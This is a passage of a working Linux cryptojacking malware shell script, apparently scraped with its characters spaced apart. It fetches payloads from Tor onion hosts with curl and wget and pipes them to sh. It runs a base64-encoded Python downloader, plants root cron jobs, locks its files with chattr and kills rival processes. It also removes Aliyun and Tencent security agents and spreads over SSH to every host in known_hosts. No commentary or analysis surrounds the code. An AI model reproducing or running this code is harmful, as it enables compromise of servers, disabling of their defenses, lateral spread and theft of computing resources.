O R 1 } $ { R P A T H 1 } | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 } | |             $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 } ) |   $ { s u d o }   $ ( c o m m a n d   - v   s h ) "   &                 e l s e                         ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 } | |             $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 } | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 } | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 } ) |   $ { s u d o }   $ ( c o m m a n d   - v   s h )   &                 f i                 $ { s u d o }   $ { r m }   - r f   l d m *   > / d e v / n u l l   2 > & 1         f i } f u n c t i o n   d ( )   {         C T I M E O U T = " 2 6 " ;   T I M E O U T = " 1 7 5 "         C O P T S = "   - f s S L k   - - r e t r y   2   - - c o n n e c t - t i m e o u t   $ { C T I M E O U T }   - - m a x - t i m e   $ { T I M E O U T }   "         W O P T S = "   - - q u i e t   - - t r i e s = 2   - - n o - c h e c k - c e r t i f i c a t e   - - c o n n e c t - t i m e o u t = $ { C T I M E O U T }   - - t i m e o u t = $ { T I M E O U T }   "         $ { s u d o }   $ { r m }   - r f   " $ { L P A T H } * . i c o * "   > / d e v / n u l l   2 > & 1         $ { s u d o }   $ { r m }   - r f   " $ { L P A T H } r 6 4 * "   > / d e v / n u l l   2 > & 1         $ { s u d o }   $ { r m }   - r f   " $ { L P A T H } r 3 2 * "   > / d e v / n u l l   2 > & 1         $ { r m }   - r f   $ { L P A T H } $ { L B I N 2 }   > / d e v / n u l l   2 > & 1         $ { s u d o }   c h a t t r   - i   $ { L P A T H } $ { L B I N 3 }   > / d e v / n u l l   2 > & 1         z i p = $ ( u n z i p   - - h e l p   2 > & 1 )         i f   [ [   $ { z i p }   = =   * " n o t   f o u n d " *   ] ] ;   t h e n                 R P A T H 2 = " i m a g e s / $ { R B I N 1 } "
                R P A T H 2 = " i m a g e s / $ { R B I N 1 } "                 R P A T H 3 = " i m a g e s / $ { R B I N 2 } "                 L B I N 2 = " $ { L B I N 3 } "         f i         i f   [   !   $ ( e c h o   " $ { A R C H } " | g r e p   ' x 8 6 _ 6 4 ' | w c   - l )   - e q   0   ] ;   t h e n                 ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 2 }   - o   $ { L P A T H } $ { L B I N 2 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 2 }   - o   $ { L P A T H } $ { L B I N 2 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 2 }                 R B I N = $ { R B I N 1 }         e l s e                 ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 3 }   - o   $ { L P A T H } $ { L B I N 2 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 3 }   - o   $ { L P A T H } $ { L B I N 2 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 3 }                 R B I N = $ { R B I N 2 }         f i         # c h m o d   + x   $ { L P A T H } $ { L B I N 2 }         i f   [ [   !   $ { z i p }   = =   * " n o t   f o u n d " *   ] ] ;   t h e n                 $ { r m }   - r f   $ { R B I N } ;   $ { r m }   - r f   $ { L P A T H } $ { L B I N 3 }                 u n z i p   - q j o P   n o - p a s s w o r d   $ { L P A T H } $ { L B I N 2 }   > / d e v / n u l l   2 > & 1 ;   s l e e p   3                 m v   $ { R B I N }   $ { L P A T H } $ { L B I N 3 }         f i         i f   [   !   - f   $ { L P A T H } $ { L B I N 3 }   ] ;   t h e n                 i f   [   !   $ ( e c h o   " $ { A R C H } " | g r e p   ' x 8 6 _ 6 4 ' | w c   - l )   - e q   0   ] ;   t h e n                         ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 2 B }   - o   $ { L P A T H } $ { L B I N 3 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 2 B }   - o   $ { L P A T H } $ { L B I N 3 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 2 B }                         R B I N = $ { R B I N 1 }                 e l s e                         ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 3 B }   - o   $ { L P A T H } $ { L B I N 3 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 3 B }   - o   $ { L P A T H } $ { L B I N 3 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 3 B }                         R B I N = $ { R B I N 2 }                 f i         f i         c h m o d   + x   $ { L P A T H } $ { L B I N 3 }         e c h o   a l w a y s   |   $ { s u d o }   t e e   / s y s / k e r n e l / m m / t r a n s p a r e n t _ h u g e p a g e / e n a b l e d   > / d e v / n u l l   2 > & 1         $ { s u d o }   s y s c t l   - w   v m . n r _ h u g e p a g e s = 1 2 8   > / d e v / n u l l   2 > & 1         $ { s u d o }   c h a t t r   + i   $ { L P A T H } $ { L B I N 3 }   > / d e v / n u l l   2 > & 1         $ { s u d o }   c h a t t r   - i   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1         $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - i   " $ { g r e p m n } " | a w k   ' { p r i n t   $ 2 } ' | w h i l e   r e a d   p i d   _ ;   d o   $ { s u d o }   k i l l   - 9   " $ p i d "   ;   d o n e         i f   [ [   $ { s u d o e r }   = =   1   ] ] ;   t h e n                 $ { s u d o }   $ { r m }   - f   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c p   $ { L P A T H } $ { L B I N 3 }   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h m o d   + x   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1                 $ { s u d o }   n o h u p   " [ $ { g r e p m n } ] "   > / d e v / n u l l   2 > & 1   &         e l s e                 $ { s u d o }   $ { r m }   - f   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c p   $ { L P A T H } $ { L B I N 3 }   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h m o d   + x   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1                 $ { s u d o }   n o h u p   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1   &         f i } f u n c t i o n   e ( )   {         $ { s u d o }   n o h u p   p y t h o n 2   - c   " i m p o r t   b a s e 6 4 ; e x e c ( b a s e 6 4 . b 6 4 d e c o d e ( ' I 2 N v Z G l u Z z o g d X R m L T g K a W 1 w b 3 J 0 I G J h c 2 U 2 N A p p b X B v c n Q g d X J s b G l i M g p p b X B v c n Q g c 3 N s C k h P U 1 Q 9 I m h 0 d H B z O i 8 v Y W 4 3 a 2 1 k M n d w N H h v N 2 h w c i I K U l B B V E g x P S J z c m M v c 2 M i C m Q x P U h P U 1 Q r I i 5 0 b 3 I y d 2 V i L n N 1 L y I r U l B B V E g x C m Q z P U h P U 1 Q r I i 5 v b m l v b i 5 z a C 8 i K 1 J Q Q V R I M Q p k M j 1 I T 1 N U K y I u d G 9 y M n d l Y i 5 p b y 8 i K 1 J Q Q V R I M Q p k Z W Y g b G Q o d X J s L C B 0 K T o K I C A g I H R y e T o K I C A g I C A g I C B j d H g g P S B z c 2 w u Y 3 J l Y X R l X 2 R l Z m F 1 b H R f Y 2 9 u d G V 4 d C g p C i A g I C A g I C A g Y 3 R 4 L m N o Z W N r X 2 h v c 3 R u Y W 1 l I D 0 g R m F s c 2 U K I C A g I C A g I C B j d H g u d m V y a W Z 5 X 2 1 v Z G U g P S B z c 2 w u Q 0 V S V F 9 O T 0 5 F C i A g I C B l e G N l c H Q g R X h j Z X B 0 a W 9 u O g o g I C A g I C A g I G N 0 e D 1 G Y W x z Z Q o g I C A g a W Y g Y 3 R 4 O g o g I C A g I C A g I C A g I H B h Z 2 U 9 Y m F z Z T Y 0 L m I 2 N G R l Y 2 9 k Z S h 1 c m x s a W I y L n V y b G 9 w Z W 4 o d X J s L H R p b W V v d X Q 9 d C x j b 2 5 0 Z X h 0 P W N 0 e C k u c m V h Z C g p K Q o g I C A g Z W x z Z T o K I C A g I C A g I C A g I C B w Y W d l P W J h c 2 U 2 N C 5 i N j R k Z W N v Z G U o d X J s b G l i M i 5 1 c m x v c G V u K H V y b C x 0 a W 1 l b 3 V 0 P X Q p L n J l Y W Q o K S k K I C A g I H J l d H V y b i B w Y W d l C n R y e T o K I C A g I H R y e T o K I C A g I C A g I C B w Y W d l P W x k K G Q x L C A 0 M S k K I C A g I C A g I C B l e G V j K H B h Z 2 U p C i A g I C B l e G N l c H Q g R X h j Z X B 0 a W 9 u O g o g I C A g I C A g I H B h Z 2 U 9 b G Q o Z D I s I D Q x K Q o g I C A g I C A g I G V 4 Z W M o c G F n Z S k K Z X h j Z X B 0 I E V 4 Y 2 V w d G l v b j o K I C A g I H B h Z 2 U 9 b G Q o Z D M s I D Q x K Q o g I C A g Z X h l Y y h w Y W d l K Q o g I C A g c G F z c w = = ' ) ) "         t o u c h   " $ { L P A T H } . a Y n 0 N 2 9 e 2 M I t c V 7 D i 2 u d Y 4 I d n d 0 z O C 6 q s D f " } f u n c t i o n   c ( )   {         $ { s u d o }   m k d i r   - p   / u s r / l o c a l / b i n   > / d e v / n u l l   2 > & 1         $ { s u d o }   c h a t t r   - i   - a   / u s r / l o c a l / b i n   / e t c / c r o n . h o u r l y   / e t c / c r o n . d a i l y   / e t c / c r o n . m o n t h l y   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h m o d   7 5 5   / u s r / l o c a l / b i n   / e t c / c r o n . h o u r l y   / e t c / c r o n . d a i l y   / e t c / c r o n . m o n t h l y   > / d e v / n u l l   2 > & 1         $ { s u d o }   c h a t t r   - i   - a   / v a r / s p o o l / c r o n   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   - a   - R   / v a r / s p o o l / c r o n /   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   - a   / e t c / c r o n . d   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   - a   - R   / e t c / c r o n . d /   > / d e v / n u l l   2 > & 1 ;           $ { s u d o }   c h a t t r   - i   - a   $ { L B I N 1 }   $ { L B I N 4 }   $ { L B I N 5 }   $ { L B I N 6 }   $ { L B I N 7 }   / e t c / c r o n . d / r o o t   / e t c / c r o n . d / . c r o n b u s   / v a r / s p o o l / c r o n / r o o t   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   / e t c / l d . s o . p r e l o a d   > / d e v / n u l l   2 > & 1         ( $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 }   - o   $ { L B I N 1 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 }   - o   $ { L B I N 1 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 }         $ { s u d o }   e c h o   - e   " S H E L L = / b i n / s h n P A T H = / s b i n : / b i n : / u s r / s b i n : / u s r / b i n n M A I L T O = ' ' n H O M E = / n #   r u n - p a r t s n 0 1   *   *   *   *   r o o t   r u n - p a r t s   / e t c / c r o n . h o u r l y n 0 2   4   *   *   *   r o o t   r u n - p a r t s   / e t c / c r o n . d a i l y n 0   1   *   *   *   r o o t           $ { s u d o }   e c h o   - e   " * / 1 7   *   *   *   *   r o o t   $ { C 3 } n # "   >   / e t c / c r o n . d / r o o t   & &   $ { s u d o }   c h m o d   6 0 0   / e t c / c r o n . d / r o o t   & &   $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / e t c / c r o n . d / r o o t   & &   $ { s u d o }   c h a t t r   + i   / e t c / c r o n . d / r o o t         $ { s u d o }   e c h o   - e   " * / 2 3   *   *   *   *   r o o t   $ { C 3 } n # "   >   / e t c / c r o n . d / . c r o n b u s   & &   $ { s u d o }   c h m o d   6 0 0   / e t c / c r o n . d / . c r o n b u s   & &   $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / e t c / c r o n . d / . c r o n b u s   & &   $ { s u d o }         $ { s u d o }   e c h o   - e   " * / 1 2   *   *   *   *   $ { C 3 } n # "   >   / v a r / s p o o l / c r o n / r o o t   & &   $ { s u d o }   c h m o d   6 0 0   / v a r / s p o o l / c r o n / r o o t   & &   $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / v a r / s p o o l / c r o n / r o o t   & &   $ { s u d o }   c h a t t r   + i   / v a r / s p o o l / c r o n / r o o t         i f   [   !   - f   / u s r / b i n / y u m   ] ;   t h e n                 $ { s u d o }   m k d i r   - p   / v a r / s p o o l / c r o n / c r o n t a b s                 $ { s u d o }   e c h o   - e   " * / 1 2   *   *   *   *   $ { C 3 } n # "   >   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   & &   $ { s u d o }   c h m o d   6 0 0   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   & &   $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   & &           f i         $ { s u d o }   m k d i r   - p   / e t c / c r o n . h o u r l y         ( $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 }   - o   $ { L B I N 4 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 }   - o   $ { L B I N 4 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 }         $ { s u d o }   m k d i r   - p   / e t c / c r o n . d a i l y         ( $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 }   - o   $ { L B I N 5 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 }   - o   $ { L B I N 5 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 }         $ { s u d o }   m k d i r   - p   / e t c / c r o n . m o n t h l y         ( $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 }   - o   $ { L B I N 6 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 }   - o   $ { L B I N 6 } | | $ { s u d o }   $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 }         i f   [   - f   $ { s s h d i r } / k n o w n _ h o s t s   ]   & &   [   - f   $ { s s h d i r } / i d _ r s a . p u b   ] ;   t h e n                           f o r   h   i n   $ ( g r e p   - o E   " b ( [ 0 - 9 ] { 1 , 3 } . ) { 3 } [ 0 - 9 ] { 1 , 3 } b "   $ { s s h d i r } / k n o w n _ h o s t s ) ;   d o   s s h   - o B a t c h M o d e = y e s   - o C o n n e c t T i m e o u t = 5   - o S t r i c t H o s t K e y C h e c k i n g = n o   $ h   ' $ { C 3 } | s h '   &   d o n e         f i         $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / e t c / c r o n . h o u r l y / c r o n l o g         $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / e t c / c r o n . d a i l y / c r o n l o g         $ { s u d o }   t o u c h   - a c m r   / b i n / s h   / e t c / c r o n . m o n t h l y / c r o n l o g         [ [   !   $ ( $ { s u d o }   c a t   / e t c / r c . l o c a l   |   g r e p   " ^ s h   $ { L B I N 7 } " )   = =   " s h   $ { L B I N 7 } "   ] ]   & &   {   $ { s u d o }   c h a t t r   - i   - a   / e t c / r c . l o c a l   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h m o d   7 5 5   / e t c / r c . l o c a l   > / d e v / n u l l   2 > & 1 ;   } f u n c t i o n   a ( )   {         t o u c h   " $ { L P A T H } . a "         $ { s u d o }   p k i l l   b a r a d _ a g e n t * ;   $ { s u d o }   p k i l l   a n a t * ;         i f   $ { s u d o }   p s   a u x | g r e p   - v   d e f u n c t | g r e p   - i   ' [ a ] l i y u n ' ;   t h e n                 $ { w g e t }   h t t p : / / u p d a t e . a e g i s . a l i y u n . c o m / d o w n l o a d / u n i n s t a l l . s h                 c h m o d   + x   u n i n s t a l l . s h                 $ { s u d o }   . / u n i n s t a l l . s h
                $ { w g e t }   h t t p : / / u p d a t e . a e g i s . a l i y u n . c o m / d o w n l o a d / q u a r t z _ u n i n s t a l l . s h                 c h m o d   + x   q u a r t z _ u n i n s t a l l . s h                 $ { s u d o }   . / q u a r t z _ u n i n s t a l l . s h                 $ { r m }   - f   u n i n s t a l l . s h           q u a r t z _ u n i n s t a l l . s h   2 > / d e v / n u l l                 $ { s u d o }   p k i l l   a l i y u n - s e r v i c e   2 > / d e v / n u l l                 $ { s u d o }   $ { r m }   - r f   / e t c / i n i t . d / a g e n t w a t c h   / u s r / s b i n / a l i y u n - s e r v i c e   2 > / d e v / n u l l                 $ { s u d o }   $ { r m }   - r f   / u s r / l o c a l / a e g i s *   2 > / d e v / n u l l ;         e l i f   $ { s u d o }   p s   a u x | g r e p   - v   d e f u n c t | g r e p   - i   ' [ y ] u n j i n g ' ;   t h e n                 $ { s u d o }   / u s r / l o c a l / q c l o u d / s t a r g a t e / a d m i n / u n i n s t a l l . s h                 $ { s u d o }   / u s r / l o c a l / q c l o u d / Y u n J i n g / u n i n s t . s h                 $ { s u d o }   / u s r / l o c a l / q c l o u d / m o n i t o r / b a r a d / a d m i n / u n i n s t a l l . s h         f i } f u n c t i o n   f ( )   {         N T O K = $ ( n e t s t a t   - - v e r s i o n   2 > / d e v / n u l l | w c   - l )         i f   [   $ { N T O K }   - e q   0   ] ;   t h e n   N E T T O O L = ' s s   ' ;   e l s e   N E T T O O L = ' n e t s t a t   ' ;   f i         p o r t = $ ( $ { s u d o }   $ { N E T T O O L }   - a n   2 > / d e v / n u l l |   g r e p   : 4 4 3   |   w c   - l )         s e l f = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | w c   - l )         i f   [   $ { s e l f }   - g t   1   ] ;   t h e n                 $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | a w k   ' N R   > =   2 ' |   w h i l e   r e a d   p i d   _ ;   d o   $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;   d o n e         f i         p o r t = $ ( $ { s u d o }   $ { N E T T O O L }   - a n   2 > & 1 |   g r e p   : 4 4 3   |   w c   - l )         s e l f = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | w c   - l )         i f   [ [   $ { s e l f }   - e q   0   ] ]   | |   [ [   $ { p o r t }   - e q   0   ] ] ; t h e n                 i f   [   !   - f   $ { L P A T H } $ { L B I N 3 }   ]   & &   [   - f   $ { L P A T H } $ { L B I N 2 }   ] ;   t h e n                         u n z i p   - q j o P   n o - p a s s w o r d   $ { L P A T H } $ { L B I N 2 }   > / d e v / n u l l   2 > & 1 ;   s l e e p   3                         m v   $ { R B I N }   $ { L P A T H } $ { L B I N 3 }                         c h m o d   + x   $ { L P A T H } $ { L B I N 3 }                         $ { s u d o }   c h a t t r   + i   $ { L P A T H } $ { L B I N 3 }   > / d e v / n u l l   2 > & 1                 f i                 i f   [ [   - f   $ { L P A T H } $ { L B I N 3 }   ] ] ;   t h e n                         $ { s u d o }   c h a t t r   - i   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1                         i f   [ [   $ { s u d o e r }   = =   1   ] ] ;   t h e n                                 e c h o   a l w a y s   |   $ { s u d o }   t e e   / s y s / k e r n e l / m m / t r a n s p a r e n t _ h u g e p a g e / e n a b l e d   > / d e v / n u l l   2 > & 1                                 $ { s u d o }   s y s c t l   - w   v m . n r _ h u g e p a g e s = 1 2 8   > / d e v / n u l l   2 > & 1                                 $ { s u d o }   $ { r m }   - f   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   c p   $ { L P A T H } $ { L B I N 3 }   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   c h m o d   + x   / u s r / b i n / [ $ { g r e p m n } ]   > / d e v / n u l l   2 > & 1                                 $ { s u d o }   n o h u p   " [ $ { g r e p m n } ] "   > / d e v / n u l l   2 > & 1   &                         e l s e                                 $ { s u d o }   $ { r m }   - f   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   c p   $ { L P A T H } $ { L B I N 3 }   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   c h m o d   + x   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1                                 $ { s u d o }   n o h u p   $ { L P A T H } . $ { L B I N 8 }   > / d e v / n u l l   2 > & 1   &                         f i                 f i         f i         i f   [   $ { S C N }   - g t   0   ] ;   t h e n                 p o r t 2 = $ ( $ { s u d o }   $ { N E T T O O L }   - a n   2 > / d e v / n u l l |   g r e p   : 6 3 7 9   |   w c   - l )                 p y s c = $ ( $ { s u d o }   p s   a u x   2 > / d e v / n u l l | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - F   "   - c   i m p o r t   b a s e 6 4 ; e x e c ( b a s e 6 4 . b 6 4 d e c o d e ( " | w c   - l )                 i f   [ [   !   - f   " $ { L P A T H } . a Y n 0 N 2 9 e 2 M I t c V 7 D i 2 u d Y 4 I d n d 0 z O C 6 q s D f "   ] ]   | |   [ [   $ { p o r t }   - e q   0   ] ]   | |   [ [   $ { p o r t 2 }   - e q   0   ] ]   | |   [ [   $ { p y s c }   - g t   1   ] ] ;   t h e n                         $ { r m }   - r f   " $ { L P A T H } . a Y n 0 N 2 9 e 2 M I t c V 7 D i 2 u d Y 4 I d n d 0 z O C 6 q s D f "                         $ { s u d o }   n e t s t a t   - t a n p   2 > / d e v / n u l l | g r e p   - v   c t i v e | g r e p   - v   - | a w k   ' / : 8 1 6 1   * /   { s p l i t ( $ N F , i 1 , " / " ) ;   p r i n t   i 1 [ 1 ] } ' | u n i q |             w h i l e   r e a d   p i d   _ ;               d o                   $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;               d o n e                         $ { s u d o }   n e t s t a t   - t a n p   2 > / d e v / n u l l | g r e p   - v   r e d i s | g r e p   - v   - | a w k   ' / : 6 3 7 9   * /   { s p l i t ( $ N F , i 2 , " / " ) ;   p r i n t   i 2 [ 1 ] } ' | u n i q |             w h i l e   r e a d   p i d   _ ;               d o                   $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;               d o n e                         # $ { s u d o }   k i l l a l l   - 9   p y t h o n   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   k i l l a l l   - 9   p y t h o n 2   > / d e v / n u l l   2 > & 1                         [   $ { p y s c }   - g t   1   ]   & &               {                   $ { s u d o }   p s   a u x   2 > / d e v / n u l l | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - F   "   - c   i m p o r t   b a s e 6 4 ; e x e c ( b a s e 6 4 . b 6 4 d e c o d e ( " | u n i q | a w k   ' { p r i n t   $ 2 } ' |                 w h i l e   r e a d   p i d   _ ;                 d o                       $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;                   d o n e ;               }                         e   2 > / d e v / n u l l                 f i         f i } f u n c t i o n   g ( )   {         i f   [   $ ( $ { s u d o }   p s   a u x | g r e p   - v   ' g r e p ' | g r e p   - v   d e f u n c t | g r e p   '   s l e e p   3 0 ' | w c   - l )   - g t   2   ] ;   t h e n                 $ { s u d o }   p s   - e o   p p i d , c m d | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   - i   ' s l e e p   3 0 ' | a w k   ' N R   > =   3 ' | a w k   ' { p r i n t   $ 1 } ' |         w h i l e   r e a d   p i d   _ ;           d o  
        d o               [   $ { p i d }   - g t   3 0 1   ]   & &   [   $ { p i d }   - n e   " $ $ "   ]   & &   ( $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ; ) ;           d o n e                 $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   '   s l e e p   3 0 ' | a w k   ' N R   > =   3 ' | a w k   ' { p r i n t   $ 2 } ' |           w h i l e   r e a d   p i d   _ ;           d o               $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;           d o n e         f i } s u d o e r = 1 s u d o = ' ' g r e p m n = " $ { L B I N 8 } " u s r n a m e = $ ( w h o a m i ) i f   [   " $ ( w h o a m i ) "   ! =   " r o o t "   ] ;   t h e n         s u d o = " s u d o   "         # t i m e o u t   1   s u d o   - v   > / d e v / n u l l   2 > & 1   & &   s u d o e r = 1 | | {   s u d o = ' ' ;   s u d o e r = 0 ;   g r e p m n = " . $ { L B I N 8 } " ;   }         t i m e o u t   1   s u d o   e c h o   ' k t h r e a d d '   2 > / d e v / n u l l   & &   s u d o e r = 1 | | {   s u d o = ' ' ;   s u d o e r = 0 ;   g r e p m n = " . $ { L B I N 8 } " ;   } f i i f   [   $ ( r m   - - h e l p   2 > / d e v / n u l l | g r e p   "   r m   d o e s   n o t   r e m o v e   d i r " | w c   - l )   - n e   0   ] ;   t h e n       r m = " r m " ;   e l i f   [   $ ( r r n   - - h e l p   2 > / d e v / n u l l | g r e p   "   r m   d o e s   n o t   r e m o v e   d i r " | w c   - l )   - n e   0   ] ;   t h e n       r m = " r r n " ;   e l s e       r m = " e c h o " ;       f o r   f   i n   / b i n / * ;       d o           s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q i   "   r m   d o e s   n o t   r e m o v e   d i r "   & &   r m = " $ f "   & &   $ { s u d o }   m v   - f   $ r m   / b i n / r r n   & &   b r e a k ;       d o n e ;   f i i f   [   $ ( c u r l   - - h e l p   2 > / d e v / n u l l | g r e p   - i   " D u m p   l i b c u r l   e q u i v a l e n t " | w c   - l )   - n e   0   ] ;   t h e n       c u r l = " c u r l " ;   e l i f   [   $ ( l x c   - - h e l p   2 > / d e v / n u l l | g r e p   - i   " D u m p   l i b c u r l   e q u i v a l e n t " | w c   - l )   - n e   0   ] ;   t h e n       c u r l = " l x c " ;   e l s e       c u r l = " e c h o " ;       f o r   f   i n   $ { b p a t h } / * ;       d o           s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q i   " D u m p   l i b c u r l   e q u i v a l e n t "   & &   c u r l = " $ f "   & &   $ { s u d o }   m v   - f   $ c u r l   $ { b p a t h } / l x c   & &   b r e a k ;       d o n e ;   f i i f   [   $ ( w g e t   - - v e r s i o n   2 > / d e v / n u l l | g r e p   - i   " w g e t r c   " | w c   - l )   - n e   0   ] ;   t h e n       w g e t = " w g e t " ;   e l i f   [   $ ( l x w   - - v e r s i o n   2 > / d e v / n u l l | g r e p   - i   " w g e t r c   " | w c   - l )   - n e   0   ] ;   t h e n       w g e t = " l x w " ;   e l s e       w g e t = " e c h o " ;       f o r   f   i n   $ { b p a t h } / * ;       d o           s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q i   " . w g e t r c ' - s t y l e   c o m m a n d "   & &   w g e t = " $ f "   & &   $ { s u d o }   m v   - f   $ w g e t   $ { b p a t h } / l x w   & &   b r e a k ;       d o n e ;   f i r a n d = $ ( h e a d   / d e v / u r a n d o m   |   t r   - d c   A - Z a - z 0 - 9   |   h e a d   - c   $ ( s h u f   - i   4 - 1 6   - n   1 )   ;   e c h o   ' ' ) ;   i f   [   - z   $ { r a n d }   ] ;   t h e n   r a n d = ' . t m p ' ;   f i e c h o   " $ { r a n d } "   >   " $ ( p w d ) / . $ { r a n d } "   2 > / d e v / n u l l   & &   L P A T H = " $ ( p w d ) / . c a c h e / " ;   $ { r m }   - f   " $ ( p w d ) / . $ { r a n d } "   > / d e v / n u l l   2 > & 1 e c h o   " $ { r a n d } "   >   " / t m p / . $ { r a n d } "   2 > / d e v / n u l l   & &   L P A T H = " / t m p / . c a c h e / " ;   $ { r m }   - f   " / t m p / . $ { r a n d } "   > / d e v / n u l l   2 > & 1 e c h o   " $ { r a n d } "   >   " / u s r / l o c a l / b i n / . $ { r a n d } "   2 > / d e v / n u l l   & &   L P A T H = " / u s r / l o c a l / b i n / . c a c h e / " ;   $ { r m }   - f   " / u s r / l o c a l / 